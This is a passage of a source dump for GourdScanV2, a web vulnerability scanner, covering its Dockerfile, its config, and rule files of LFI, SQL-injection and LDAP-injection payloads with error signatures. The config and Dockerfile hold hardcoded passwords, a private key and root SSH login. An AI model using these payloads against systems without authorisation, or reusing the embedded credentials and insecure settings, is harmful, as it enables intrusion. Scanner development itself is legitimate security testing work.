├── .gitattributes ├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── conf ├── conf.json ├── key.crt ├── key.pem ├── redis.conf ├── rules │ ├── ldap.rule │ ├── lfi.rule │ ├── rule.conf │ ├── sqlibool.rule │ ├── sqlireflect.rule │ ├── sqlitime.rule │ ├── sqlmap.rule │ ├── xpath.rule │ └── xss.rule └── session ├── gourdscan.py ├── lib ├── __init__.py ├── config.py ├── out.py ├── redisopt.py ├── scan.py ├── secure.py ├── session.py ├── settings.py └── update.py ├── proxy ├── __init__.py ├── mix_proxy.py ├── proxy_io.py └── pyscapy.py ├── requirements.txt └── web ├── __init__.py ├── handlers ├── __init__.py ├── base.py └── main.py ├── static ├── buss │ ├── css │ │ ├── detail.css │ │ ├── main.css │ │ ├── plugin.css │ │ ├── search.css │ │ └── task.css │ └── js │ │ ├── common.js │ │ ├── config.js │ │ ├── plugin.js │ │ ├── plugindetail.js │ │ ├── result.js │ │ └── task.js ├── css │ ├── bootstrap.min.css │ ├── components.css │ ├── core.css │ ├── dropify.min.css │ ├── elements.css │ ├── gourdscan.css │ ├── icons.css │ ├── layout.css │ ├── main.css │ ├── menu.css │ ├── normalize.min.css │ ├── pages.css │ ├── responsive.css │ ├── sb-admin.css │ └── typicons.css ├── font-awesome │ ├── css │ │ ├── font-awesome.css │ │ └── font-awesome.min.css │ ├── fonts │ │ ├── FontAwesome.otf │ │ ├── fontawesome-webfont.eot │ │ ├── fontawesome-webfont.svg │ │ ├── fontawesome-webfont.ttf │ │ └── fontawesome-webfont.woff │ ├── less │ │ ├── bordered-pulled.less │ │ ├── core.less │ │ ├── fixed-width.less │ │ ├── font-awesome.less │ │ ├── icons.less │ │ ├── larger.less │ │ ├── list.less │ │ ├── mixins.less │ │ ├── path.less │ │ ├── rotated-flipped.less │ │ ├── spinning.less │ │ ├── stacked.less │ │ └── variables.less │ └── scss │ │ ├── _bordered-pulled.scss │ │ ├── _core.scss │ │ ├── _fixed-width.scss │ │ ├── _icons.scss │ │ ├── _larger.scss │ │ ├── _list.scss │ │ ├── _mixins.scss │ │ ├── _path.scss │ │ ├── _rotated-flipped.scss │ │ ├── _spinning.scss │ │ ├── _stacked.scss │ │ ├── _variables.scss │ │ └── font-awesome.scss ├── fonts │ ├── Material-Design-Iconic-Font.ttf │ ├── Material-Design-Iconic-Font.woff │ ├── Material-Design-Iconic-Font.woff2 │ ├── dropify.ttf │ ├── dropify.woff │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ ├── fontawesome-webfont.woff2 │ ├── themify.ttf │ └── themify.woff ├── google │ ├── -L14Jk06m6pUHB-5mXQQnYX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── 0eC6fl06luXEYWpBSJvXCIX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── 77FXFjRbGzN4aCrSFhlh3oX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── 97uahxiqZRoncBaCEI3aW4X0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── Fl4y0QdOxyyTHEGMXX8kcYX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── Hgo13k-tfSpn0qi1SFdUfZBw1xU1rKptJj_0jans920.woff2 │ ├── I3S1wsgSg9YCurV6PUkTOYX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── JaMH4jmmzP070-OYo03anaCWcynf_cDxXwCLxiixG1c.woff2 │ ├── Karla.css │ ├── Ks_cVxiCiwUWVsFWFA3Bjn-_kf6ByYO6CLYdB4HQE-Y.woff2 │ ├── NJ4vxlgWwWbEsv18dAhqnn-_kf6ByYO6CLYdB4HQE-Y.woff2 │ ├── NYDWBdD4gIq26G5XYbHsFIX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── Pru33qjShpZSmG3z6VYwnYX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── PwZc-YbIL414wB9rB1IAPYX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── Rancho.css │ ├── Roboto.css │ ├── RxZJdnzeo3R5zSexge8UUZBw1xU1rKptJj_0jans920.woff2 │ ├── S1bXQ0LrY7AzefpgNae9sYDGDUGfDkXyfkzVDelzfFk.woff2 │ ├── UX6i4JxQDm3fVTc1CPuwqoX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── ZLqKeelYbATG60EpZBSDy4X0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── _VYFx-s824kXq_Ul2BHqYH-_kf6ByYO6CLYdB4HQE-Y.woff2 │ ├── d-6IYplOFocCacKzxwXSOJBw1xU1rKptJj_0jans920.woff2 │ ├── isZ-wbCXNKAbnjo6_TwHToX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── jSN2CGVDbcVyCnfJfjSdfIX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── mbmhprMH69Zi6eEPBYVFhYX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── mx9Uck6uB63VIKFYnEMXrYX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── oHi30kwQWvpCWqAhzHcCSIX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── oMMgfZMQthOryQo9n22dcuvvDin1pK8aKteLpeZ5c0A.woff2 │ ├── oOeFwZNlrTefzLYmlVV1UIX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── r3NqIkFHFaF3esZDc3WT5BkAz4rYn47Zy2rvigWQf6w.woff2 │ ├── rGvHdJnr2l75qb0YND9NyIX0hVgzZQUfRDuZrPvH3D8.woff2 │ ├── sTdaA6j0Psb920Vjv-mrzH-_kf6ByYO6CLYdB4HQE-Y.woff2 │ ├── suoMYBGv5sGCUIrF9mVTfXYhjbSpvc47ee6xR_80Hnw.woff2 │ ├── tnj4SB6DNbdaQnsM8CFqBX-_kf6ByYO6CLYdB4HQE-Y.woff2 │ ├── uYECMKoHcO9x1wdmbyHIm3-_kf6ByYO6CLYdB4HQE-Y.woff2 │ └── yJONObwbYmkcfKME0p1HqevvDin1pK8aKteLpeZ5c0A.woff2 ├── images │ ├── big │ │ ├── ._bg2.jpg │ │ ├── bg3.jpg │ │ └── bg4.jpg │ ├── favicon.ico │ └── multiple-arrow.png ├── js │ ├── ajaxfileupload.js │ ├── bootstrap.min.js │ ├── detect.js │ ├── dropify.min.js │ ├── fastclick.js │ ├── jquery-3.1.0.min.js │ ├── jquery.app.js │ ├── jquery.blockUI.js │ ├── jquery.core.js │ ├── jquery.counterup.min.js │ ├── jquery.min.js │ ├── jquery.nicescroll.js │ ├── jquery.scrollTo.min.js │ ├── jquery.slimscroll.js │ ├── modernizr.min.js │ ├── module.min.js │ ├── npm.js │ ├── pace.min.js │ ├── plugins │ │ ├── dataTables │ │ │ ├── dataTables.bootstrap.js │ │ │ └── jquery.dataTables.js │ │ ├── flot │ │ │ ├── excanvas.min.js │ │ │ ├── jquery.flot.js │ │ │ ├── jquery.flot.pie.js │ │ │ ├── jquery.flot.resize.js │ │ │ └── jquery.flot.tooltip.min.js │ │ ├── metisMenu │ │ │ └── jquery.metisMenu.js │ │ └── morris │ │ │ ├── morris.js │ │ │ └── raphael-2.1.0.min.js │ ├── sb-admin.js │ ├── uploader.min.js │ ├── waves.js │ └── wow.min.js ├── less │ ├── components.less │ ├── core.less │ ├── elements.less │ ├── icons.less │ ├── icons │ │ ├── css │ │ │ └── material-design-iconic-font.css │ │ ├── font-awesome │ │ │ ├── HELP-US-OUT.txt │ │ │ ├── css │ │ │ │ ├── font-awesome.css │ │ │ │ ├── font-awesome.min.css │ │ │ │ ├── mixins.css │ │ │ │ └── variables.css │ │ │ ├── fonts │ │ │ │ ├── FontAwesome.otf │ │ │ │ ├── fontawesome-webfont.eot │ │ │ │ ├── fontawesome-webfont.svg │ │ │ │ ├── fontawesome-webfont.ttf │ │ │ │ ├── fontawesome-webfont.woff │ │ │ │ └── fontawesome-webfont.woff2 │ │ │ ├── less │ │ │ │ ├── animated.less │ │ │ │ ├── bordered-pulled.less │ │ │ │ ├── core.less │ │ │ │ ├── fixed-width.less │ │ │ │ ├── font-awesome.less │ │ │ │ ├── icons.less │ │ │ │ ├── larger.less │ │ │ │ ├── list.less │ │ │ │ ├── mixins.less │ │ │ │ ├── path.less │ │ │ │ ├── rotated-flipped.less │ │ │ │ ├── stacked.less │ │ │ │ └── variables.less │ │ │ └── scss │ │ │ │ ├── _animated.scss │ │ │ │ ├── _bordered-pulled.scss │ │ │ │ ├── _core.scss │ │ │ │ ├── _fixed-width.scss │ │ │ │ ├── _icons.scss │ │ │ │ ├── _larger.scss │ │ │ │ ├── _list.scss │ │ │ │ ├── _mixins.scss │ │ │ │ ├── _path.scss │ │ │ │ ├── _rotated-flipped.scss │ │ │ │ ├── _stacked.scss │ │ │ │ ├── _variables.scss │ │ │ │ └── font-awesome.scss │ │ ├── material-design-iconic-font │ │ │ ├── css │ │ │ │ ├── material-design-iconic-font.css │ │ │ │ └── material-design-iconic-font.min.css │ │ │ ├── fonts │ │ │ │ ├── Material-Design-Iconic-Font.eot │ │ │ │ ├── Material-Design-Iconic-Font.svg │ │ │ │ ├── Material-Design-Iconic-Font.ttf │ │ │ │ ├── Material-Design-Iconic-Font.woff │ │ │ │ └── Material-Design-Iconic-Font.woff2 │ │ │ └── material-design-iconic-font.less │ │ └── themify-icons │ │ │ ├── fonts │ │ │ ├── themify.eot │ │ │ ├── themify.svg │ │ │ ├── themify.ttf │ │ │ └── themify.woff │ │ │ ├── ie7 │ │ │ ├── ie7.css │ │ │ └── ie7.js │ │ │ ├── themify-icons.css │ │ │ └── themify-icons.less │ ├── menu.less │ ├── pages.less │ ├── responsive.less │ └── variables.less └── plugin │ ├── jquery-knob │ ├── excanvas.js │ └── jquery.knob.js │ ├── jquery.poshytip.min.js │ ├── jquery.waypoints.min.js │ ├── morris │ ├── morris.css │ ├── morris.js │ └── morris.min.js │ ├── multiselect │ ├── css │ │ └── multi-select.css │ ├── img │ │ └── switch.png │ └── js │ │ └── jquery.multi-select.js │ ├── raphael │ └── raphael-min.js │ ├── sweetalert │ ├── sweetalert.css │ └── sweetalert.min.js │ ├── switchery │ ├── switchery.min.css │ └── switchery.min.js │ ├── tip-darkgray │ ├── tip-darkgray.css │ ├── tip-darkgray.png │ └── tip-darkgray_arrows.png │ └── tip-twitter │ ├── tip-twitter.css │ └── tip-twitter_arrows.gif ├── templates ├── 302.html ├── 404.html ├── config.html ├── index.html ├── layout.html ├── list.html ├── login.html ├── proxy.html ├── req.html └── scan_config.html └── urls.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | 19 | # Set css file to linguist-language=Text 20 | *.css linguist-language=python 21 | *.js linguist-language=python 22 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | .hypothesis/ 47 | 48 | # Translations 49 | *.mo 50 | *.pot 51 | 52 | # Django stuff: 53 | *.log 54 | local_settings.py 55 | 56 | # Flask stuff: 57 | instance/ 58 | .webassets-cache 59 | 60 | # Scrapy stuff: 61 | .scrapy 62 | 63 | # Sphinx documentation 64 | docs/_build/ 65 | 66 | # PyBuilder 67 | target/ 68 | 69 | # Jupyter Notebook 70 | .ipynb_checkpoints 71 | 72 | # pyenv 73 | .python-version 74 | 75 | # celery beat schedule file 76 | celerybeat-schedule 77 | 78 | # SageMath parsed files 79 | *.sage.py 80 | 81 | # dotenv 82 | .env 83 | 84 | # virtualenv 85 | .venv 86 | venv/ 87 | ENV/ 88 | 89 | # Spyder project settings 90 | .spyderproject 91 | 92 | # Rope project settings 93 | .ropeproject 94 | .DS_Store 95 | .idea/ 96 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | ############################################################ 2 | 3 | # Dockerfile to build gourdscan v2.1 environment 4 | # Based on Ubuntu 5 | # https://github.com/ysrc/GourdScanV2 6 | # edit by range 7 | 8 | ############################################################ 9 | 10 | 11 | FROM ubuntu:14.04 12 | 13 | #get all the environment 14 | RUN apt-get update 15 | RUN apt-get install -y redis-server python python-pip zip wget vim openssh-server python-libpcap libpcap-dev 16 | RUN pip install --upgrade pip 17 | RUN pip install tornado requests redis scapy 18 | RUN wget https://github.com/sqlmapproject/sqlmap/zipball/master 19 | RUN unzip master -d /root 20 | RUN rm master 21 | RUN mv /root/sqlmap* /root/sqlmap 22 | RUN wget https://github.com/ysrc/GourdScanV2/archive/github.zip 23 | RUN unzip github.zip -d /root 24 | RUN rm github.zip 25 | RUN mv /root/GourdScanV2-github /root/gourdscan 26 | 27 | #install sshd service 28 | RUN mkdir -p /var/run/sshd 29 | RUN sed -ri 's/^PermitRootLogin\s+.*/PermitRootLogin yes/' /etc/ssh/sshd_config 30 | RUN sed -ri 's/UsePAM yes/#UsePAM yes/g' /etc/ssh/sshd_config 31 | RUN echo "root:Y3rc_admin" | chpasswd 32 | RUN usermod -s /bin/bash root 33 | 34 | EXPOSE 8000 35 | EXPOSE 22 36 | EXPOSE 10086 37 | EXPOSE 10806 38 | -------------------------------------------------------------------------------- /conf/conf.json: -------------------------------------------------------------------------------- 1 | { 2 | "scapy_network_card": "all", 3 | "scan_stat": "false", 4 | "check_url": "https://sec.ly.com/gourdscanv2/version.txt", 5 | "threads_num": "5", 6 | "tornado_run_stat": "false", 7 | "ip": "0.0.0.0", 8 | "flush_time": "120", 9 | "scapy_stat": "false", 10 | "only_one_match": "True", 11 | "mix_addr": "0.0.0.0", 12 | "tornado_port": "10806", 13 | "mix_stat": "false", 14 | "scan_level": "3", 15 | "black_domain": "127.0.0.1,0.0.0.0,localhost,google.cn,doubleclick.net,cnzz.com,baidu.com,40017.cn,google-analytics.com,googlesyndication.com,gstatic.com,bing.com,google.com,digicert.com,huihui.cn,tanx.com,qq.com,gtimg.cn,qlogo.cn,qpic.cn,upaiyun.com,gvt2.com,taobao.com,aliyun.com,alicdn.com,360.cn,gravatar.com,sinaimg.cn,githubusercontent.com,githubapp.com,feedburner.com,cloudfront.net,mmstat.com,bdstatic.com,addthis.com,51.la,bidswitch.com,wp.com,sharethis.com,googleapis.com,twimg.com,amazonaws.com,criteo.com,zopim.com,optimizely.com,microsoft.com,uxengine.net,ipinyou.com", 16 | "port": "8000", 17 | "white_domain": "", 18 | "version": "2.1", 19 | "session_expires_time": "300", 20 | "redis_pass": "Y3rc_Alw4ys_B3_W1th_Y0u", 21 | "session_size": "6600", 22 | "page_num": "100", 23 | "black_ext": "css,flv,mp3,mp4,swf,js,jpg,jpeg,png,css,gif,txt,ico,pdf,css3,txt,rar,zip,mkv,avi,mp4,swf,wmv,exe,msi,mpeg,ppt,pptx,doc,docx,xls,xlsx,woff2,woff,map,svg,ttf,m3u8,webp,tiff,bmp,7z,tgz,tar,bz,tbz,gz,apk,ipa", 24 | "mix_port": "10086", 25 | "tornado_address": "0.0.0.0", 26 | "password": "Y3rc_admin", 27 | "account": "admin", 28 | "tornado_stat": "false", 29 | "redis_host": "127.0.0.1", 30 | "scapy_out": "True", 31 | "redis_port": "6379", 32 | "cookie_secret": "O3h80XXsQiyTiH1eNgKBzQnJrgVuieykhk/yqh0/BTw=" 33 | } 34 | -------------------------------------------------------------------------------- /conf/key.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDNzCCAqCgAwIBAgIJANOmV9H+R86YMA0GCSqGSIb3DQEBBQUAMHExCzAJBgNV 3 | BAYTAjEyMQ0wCwYDVQQIEwR0ZXN0MQwwCgYDVQQHEwNmYXMxDjAMBgNVBAoTBWZm 4 | YXNkMQwwCgYDVQQLEwNmYXMxDDAKBgNVBAMTA2ZhczEZMBcGCSqGSIb3DQEJARYK 5 | ZmFzQHFxLmNvbTAeFw0xNjA3MjcwNDIzMjlaFw0xNzA3MjcwNDIzMjlaMHExCzAJ 6 | BgNVBAYTAjEyMQ0wCwYDVQQIEwR0ZXN0MQwwCgYDVQQHEwNmYXMxDjAMBgNVBAoT 7 | BWZmYXNkMQwwCgYDVQQLEwNmYXMxDDAKBgNVBAMTA2ZhczEZMBcGCSqGSIb3DQEJ 8 | ARYKZmFzQHFxLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEArxT6CREF 9 | 8DNx0XIjwTvhWD2IOMy8T4J8WXRwLO9eaxhrVh4pqtfTT28pE4CKMXXxV22FIpMv 10 | jygJN0To4XiFmRVO/7M45QpomZ3P20Yvsxl0H7FKctTtnfjXtoJUsADjlmX/h7yZ 11 | lwbbVUhh2t4YeRmbUBI4KnKuML9xpG1wmbcCAwEAAaOB1jCB0zAdBgNVHQ4EFgQU 12 | Uq+kj5r85A4MHBniudXWf5SsJagwgaMGA1UdIwSBmzCBmIAUUq+kj5r85A4MHBni 13 | udXWf5SsJaihdaRzMHExCzAJBgNVBAYTAjEyMQ0wCwYDVQQIEwR0ZXN0MQwwCgYD 14 | VQQHEwNmYXMxDjAMBgNVBAoTBWZmYXNkMQwwCgYDVQQLEwNmYXMxDDAKBgNVBAMT 15 | A2ZhczEZMBcGCSqGSIb3DQEJARYKZmFzQHFxLmNvbYIJANOmV9H+R86YMAwGA1Ud 16 | EwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADgYEAh1Fd/JA8k1XEPYtmcMGSM0lEHW0p 17 | 3CO+vdWBj5OiuOM447vvIaUfjFXooOwgz3bwDRsITcJsPLJZ/joemFjbeNksLexl 18 | yqBEKlA/MTPDr1Ksy0RkOeMakzbMGspwcwTQ8KSsfqnM67h/rXX4AEX2AO1WJCng 19 | 2T82Nin2DaHlwuM= 20 | -----END CERTIFICATE----- 21 | -------------------------------------------------------------------------------- /conf/key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICXAIBAAKBgQCvFPoJEQXwM3HRciPBO+FYPYg4zLxPgnxZdHAs715rGGtWHimq 3 | 19NPbykTgIoxdfFXbYUiky+PKAk3ROjheIWZFU7/szjlCmiZnc/bRi+zGXQfsUpy 4 | 1O2d+Ne2glSwAOOWZf+HvJmXBttVSGHa3hh5GZtQEjgqcq4wv3GkbXCZtwIDAQAB 5 | AoGBAI6eLsL96/FrZpavPHLmnTys+u8Rz3+REkwoLkxcPHROsvi2n0h8gLQfH720 6 | Il4B7jNCkoXEkaQyf7dW2cD41RGyB4wJWjofobZ8vgQL2mV/snt/dH6WvGu5Kv25 7 | z9oDvHZqP7ERpG0v6Z/diEjXhOTV6k77aCYoAysxI5RUY64ZAkEA233eVg51tQwp 8 | YpGERVRCRLHLDoBDJiiRcSo3vsOtYKz575K9blWSGkzNg4XT8nsp3a+DlvW8yQfq 9 | q9fXk7FHTQJBAMw0Gys3UVbUScLKmGwVgE9fIgpYcygymLvWkWFkp3B5KQ8ZVJQD 10 | AmoZnG+rVodr71F8L/efH+oyvjo88NIYCxMCQENbjS+7oEO/R7QIFB9yjCOorDf3 11 | BKRhLsEbw5+3TS2t58WtspR5jiykBS2nlDOFuINfqXJaV2UaGNpDktSwQsECQEFj 12 | pheOnTNKw1vm+CwULoQ8GHBrpmSG3zW3HdKsIpn3klhNajIDTLChBuETYp/2xim3 13 | tLx8bgHWwedwQEVmgZUCQC3lhI2zqj8m7KWMTTGONW5mZhwPOgcaiqafFvb6ipic 14 | +ZTbwiRhREzfm4BPDEQAW68O1ZrI9eobXjxrTyza3Zo= 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /conf/rules/ldap.rule: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ^(%23$!@%23$)(()))****** 6 | 7 | 8 | supplied argument is not a valid ldap 9 | javax.naming.NameNotFoundException 10 | LDAPException 11 | com.sun.jndi.ldap 12 | Search: Bad search filter 13 | Protocol error occurred 14 | Size limit has exceeded 15 | An inappropriate matching occurred 16 | A constraint violation occurred 17 | The syntax is invalid 18 | Object does not exist 19 | The alias is invalid 20 | The distinguished name has an invalid syntax 21 | The server does not handle directory requests 22 | There was a naming violation 23 | There was an object class violation 24 | Results returned are too large 25 | Unknown error occurred 26 | Local error occurred 27 | The search filter is incorrect 28 | The search filter is invalid 29 | The search filter cannot be recognized 30 | Invalid DN syntax 31 | No Such Object 32 | IPWorksASP.LDAP 33 | Module Products.LDAPMultiPlugins 34 | 35 | 36 | -------------------------------------------------------------------------------- /conf/rules/lfi.rule: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ../../../../../../../../../../../../../../../boot.ini 6 | ../../../../../../../../../../../../../../../boot.ini.html 7 | C:\boot.ini 8 | C:\boot.ini 9 | C:\boot.ini.html 10 | %SYSTEMROOT%\win.ini 11 | %SYSTEMROOT%\win.ini 12 | %SYSTEMROOT%\win.ini.html 13 | ../../../../../../../../../../../../../../../etc/passwd%00.html 14 | /etc/passwd%00.html 15 | ../../../../../../../../../../../../../../../etc/passwd 16 | ../../../../../../../../../../../../../../../etc/passwd 17 | ../../../../../../../../../../../../../../../etc/passwd.html 18 | ....//....//....//....//....//....//....//....//....//....//etc/passwd 19 | ../../../../../../../../../../../../../../../../etc/passwd%00 20 | ....//....//....//....//....//....//....//....//....//....//etc/passwd%00 21 | /etc/passwd 22 | https://raw.githubusercontent.com/code-scan/GourdScan/master/README.md? 23 | 24 | 25 | java.io.FileNotFoundException\: 26 | java.lang.Exception\: 27 | java.lang.IllegalArgumentException\: 28 | java.net.MalformedURLException\: 29 | The server encountered an internal error \(.*\) that prevented it from fulfilling this request. 30 | fread\(\)\: 31 | for inclusion '\(include_path= 32 | Failed opening requiredv 33 | <b>Warning</b>\: file\( 34 | <b>Warning</b>\: file_get_contents\( 35 | root:x\:0\:0\:root\: 36 | Warning\: fopen\( 37 | No such file or directory 38 | # GourdScan 39 | 40 | 41 | -------------------------------------------------------------------------------- /conf/rules/rule.conf: -------------------------------------------------------------------------------- 1 | {"sqlmap_api": "http://127.0.0.1:8775", "scan_type": ["sqlireflect", "sqlitime", "xpath", "xss", "lfi", "ldap", "sqlibool"]} -------------------------------------------------------------------------------- /conf/rules/sqlibool.rule: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ' AND 1221=1221 AND '1'='1 6 | ' AND 11=11 AND '1'='1 7 | ' AND 1221=1 AND '1'='1 8 | ' AND 11=1 AND '1'='1 9 | 10 | 11 | " AND 1221=1221 AND "1"="1 12 | " AND 11=11 AND "1"="1 13 | " AND 1221=1 AND "1"="1 14 | " AND 11=1 AND "1"="1 15 | 16 | 17 | AND 1221=1221-- tasdf 18 | AND 11=11-- tad 19 | AND 1221=1-- tad 20 | AND 11=1-- tad 21 | 22 | 23 | AND 1221=1221%23 24 | AND 11=11%23 25 | AND 1221=1%23 26 | AND 11=1%23 27 | 28 | 29 | AND 1221=1221 30 | AND 11=11 31 | AND 1221=1 32 | AND 11=1 33 | 34 | 35 | ) AND 3524=3524 AND (2568=2568 36 | ) AND 11=11 AND (2568=2568 37 | ) AND 1221=1 AND (2568=2568 38 | ) AND 11=1 AND (2568=2568 39 | 40 | 41 | %' AND 3534=5303 AND '%'=' 42 | %' AND 11=11 AND '%'=' 43 | %' AND 3534=1 AND '%'=' 44 | %' AND 11=1 AND '%'=' 45 | 46 | 47 | OR 7913=7913%23 48 | OR 11=11%23 49 | OR 7913=1%23 50 | OR 11=1%23 51 | 52 | 53 | ' OR 7913=7913%23 54 | ' OR 11=11%23 55 | ' OR 7913=1%23 56 | ' OR 11=1%23 57 | 58 | 59 | ) OR 7913=7913%23 60 | ) OR 11=11%23 61 | ) OR 7913=1%23 62 | ) OR 11=1%23 63 | 64 | 65 | 66 | 67 | )) AND 4691=4691%23 68 | )) AND 11=11%23 69 | )) AND 4691=1%23 70 | )) AND 11=1%23 71 | 72 | 73 | ")) AND 4691=4691%23 74 | ")) AND 11=11%23 75 | ")) AND 4691=1%23 76 | ")) AND 11=1%23 77 | 78 | 79 | ') AND 4691=4691%23 80 | ') AND 11=11%23 81 | ') AND 4691=1%23 82 | ') AND 11=1%23 83 | 84 | 85 | %' AND 4691=4691%23 86 | %' AND 11=11%23 87 | %' AND 4691=1%23 88 | %' AND 11=1%23 89 | 90 | 91 | %" AND 4691=4691%23 92 | %" AND 11=11%23 93 | %" AND 4691=1%23 94 | %" AND 11=1%23 95 | 96 | 97 | ')) AND 4691=4691%23 98 | ')) AND 11=11%23 99 | ')) AND 4691=1%23 100 | ')) AND 11=1%23 101 | 102 | 103 | ))) AND 4691=4691%23 104 | ))) AND 11=11%23 105 | ))) AND 4691=1%23 106 | ))) AND 11=1%23 107 | 108 | 109 | 110 | 111 | ')) AS cGQn WHERE 8783=8783 AND 5105=5105%23 112 | ')) AS cGQn WHERE 8783=8783 AND 11=11%23 113 | ')) AS cGQn WHERE 8783=8783 AND 5105=1%23 114 | ')) AS cGQn WHERE 8783=8783 AND 11=1%23 115 | 116 | 117 | ') AS cGQn WHERE 8783=8783 AND 5105=5105%23 118 | ') AS cGQn WHERE 8783=8783 AND 11=11%23 119 | ') AS cGQn WHERE 8783=8783 AND 5105=1%23 120 | ') AS cGQn WHERE 8783=8783 AND 11=1%23 121 | 122 | 123 | ") AS cGQn WHERE 8783=8783 AND 5105=5105%23 124 | ") AS cGQn WHERE 8783=8783 AND 11=11%23 125 | ") AS cGQn WHERE 8783=8783 AND 5105=1%23 126 | ") AS cGQn WHERE 8783=8783 AND 11=1%23 127 | 128 | 129 | ")) AS cGQn WHERE 8783=8783 AND 5105=5105%23 130 | ")) AS cGQn WHERE 8783=8783 AND 11=11%23 131 | ")) AS cGQn WHERE 8783=8783 AND 5105=1%23 132 | ")) AS cGQn WHERE 8783=8783 AND 11=1%23 133 | 134 | 135 | `) AS cGQn WHERE 8783=8783 AND 5105=5105%23 136 | `) AS cGQn WHERE 8783=8783 AND 11=11%23 137 | `) AS cGQn WHERE 8783=8783 AND 5105=1%23 138 | `) AS cGQn WHERE 8783=8783 AND 11=1%23 139 | 140 | 141 | -------------------------------------------------------------------------------- /conf/rules/sqlireflect.rule: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | "a'b"c'd"" 6 | 7 | 8 | System.Data.OleDb.OleDbException 9 | \[SQL Server\] 10 | \[Microsoft\]\[ODBC SQL Server Driver\] 11 | \[SQLServer JDBC Driver\] 12 | \[SqlException 13 | System.Data.SqlClient.SqlException 14 | Unclosed quotation mark after the character string 15 | '80040e14' 16 | mssql_query\(\) 17 | odbc_exec\(\) 18 | Microsoft OLE DB Provider for ODBC Drivers 19 | Microsoft OLE DB Provider for SQL Server 20 | Incorrect syntax near 21 | Sintaxis incorrecta cerca de 22 | Syntax error in string in query expression 23 | ADODB.Field \(0x800A0BCD\)<br> 24 | ADODB.Recordset' 25 | Unclosed quotation mark before the character string 26 | '80040e07' 27 | Microsoft SQL Native Client error 28 | SQLCODE 29 | DB2 SQL error\: 30 | SQLSTATE 31 | \[CLI Driver\] 32 | \[DB2/6000\] 33 | Sybase message\: 34 | Sybase Driver 35 | \[SYBASE\] 36 | Syntax error in query expression 37 | Data type mismatch in criteria expression. 38 | Microsoft JET Database Engine 39 | \[Microsoft\]\[ODBC Microsoft Access Driver\] 40 | Microsoft OLE DB Provider for Oracle 41 | wrong number or types 42 | PostgreSQL query failed\: 43 | supplied argument is not a valid PostgreSQL result 44 | unterminated quoted string at or near 45 | pg_query\(\) \[\: 46 | pg_exec\(\) \[\: 47 | supplied argument is not a valid MySQL 48 | Column count doesn\'t match value count at row 49 | mysql_fetch_array\(\) 50 | mysql_ 51 | on MySQL result index 52 | You have an error in your SQL syntax 53 | MySQL server version for the right syntax to use 54 | Division by zero in 55 | not a valid MySQL result 56 | \[MySQL\]\[ODBC 57 | Column count doesn't match 58 | the used select statements have different number of columns 59 | DBD\:\:mysql\:\:st execute failed 60 | DBD\:\:mysql\:\:db do failed\: 61 | com\.informix\.jdbc 62 | Dynamic Page Generation Error\: 63 | An illegal character has been found in the statement 64 | \[Informix\] 65 | <b>Warning</b>\: ibase_ 66 | Dynamic SQL Error 67 | \[DM_QUERY_E_SYNTAX\] 68 | has occurred in the vicinity of\: 69 | A Parser Error \(syntax error\) 70 | java.sql.SQLException 71 | Unexpected end of command in statement 72 | \[Macromedia\]\[SQLServer JDBC Driver\] 73 | could not prepare statement 74 | Unknown column 75 | where clause 76 | SqlServer 77 | syntax error 78 | Procedure '[^']+' requires parameter '[^']+' 79 | PLS-[0-9][0-9][0-9][0-9] 80 | ORA-[0-9][0-9][0-9][0-9] 81 | Table '[^']+' doesn't exist 82 | SELECT 